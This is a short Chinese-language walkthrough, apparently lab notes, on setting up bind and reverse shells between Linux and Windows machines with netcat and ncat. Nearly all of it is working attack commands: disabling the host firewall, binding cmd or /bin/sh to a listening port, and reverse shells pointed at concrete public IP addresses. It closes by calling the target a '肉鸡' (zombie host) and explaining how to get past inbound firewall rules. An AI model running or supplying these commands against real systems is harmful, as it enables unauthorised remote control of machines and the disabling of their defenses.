一、正反向连接
0、先将防火墙关闭
Linux: sudo systemctl stop firewalld
Windows:netsh advfirewall set allprofiles state off
1、正向连接
1.1 Linux连接Windows
00x1 开启两台服务器 并且给Windows拖入nc.exe
00x2 Windows绑定自己5566端口 等待Linux的监听
C:\Users\Administrator\Desktop>nc -e cmd -lvvp 5566
00x3 Linux去访问Windows的端口
[root@iZj6c8wqhhs4wojatf6sqgZ ~]# ncat 47.242.11.22 5566
1.2 Windows连接Linux
00x1 关闭Linux的防火墙
sudo systemctl stop firewalld
00x2 Linux绑定自己的端口
ncat -e /bin/sh -lvp 5566
00x3 等待Windows连接Linux的ip端口进行监听 并测试结果
2、反向连接
2.1 Linux连接Windows
00x1 Linux实现本地监听
ncat -lvp 5566
00x2 Windows主动绑定Linux的ip和端口
nc -e cmd 47.242.11.22 5566
00x3 Linux本地监听成功,测试
2.2 Windows连接Linux
00x1 Windows关闭防火墙
netsh advfirewall set allprofiles state off
00x2 Linux主动绑定Windows的ip和端口
ncat -e /bin/sh 47.242.22.11 5566
00x3 Windows实现本地监听
nc -lvp 5566
二、内外网连接
配置要求:vm搭建的win10 + Linux监听
原理:由于win10是nat连接的,利用我本机进行上网,也就共用一个公网ip,所以说只能win10进行反向连接Linux。
步骤:
00x1 Linux去主动监听本地的端口5399
ncat -lvp 5399
00x2 win10主动绑定Linux的ip和端口
C:\Users\admin\Desktop>nc -e cmd 47.242.11.22 5399
00x3 成功监听到win10
测试成功。
三、防火墙出入站
对入站有要求的话,就只能肉鸡去主动绑定攻击机的端口和ip了。那么就是反向连接的过程。
对出站有要求的话,理论上来说是可以进行正向连接,但是防火墙是严进宽出,如果对出都有要求,那么实际情况下进站的话也是会被禁止的。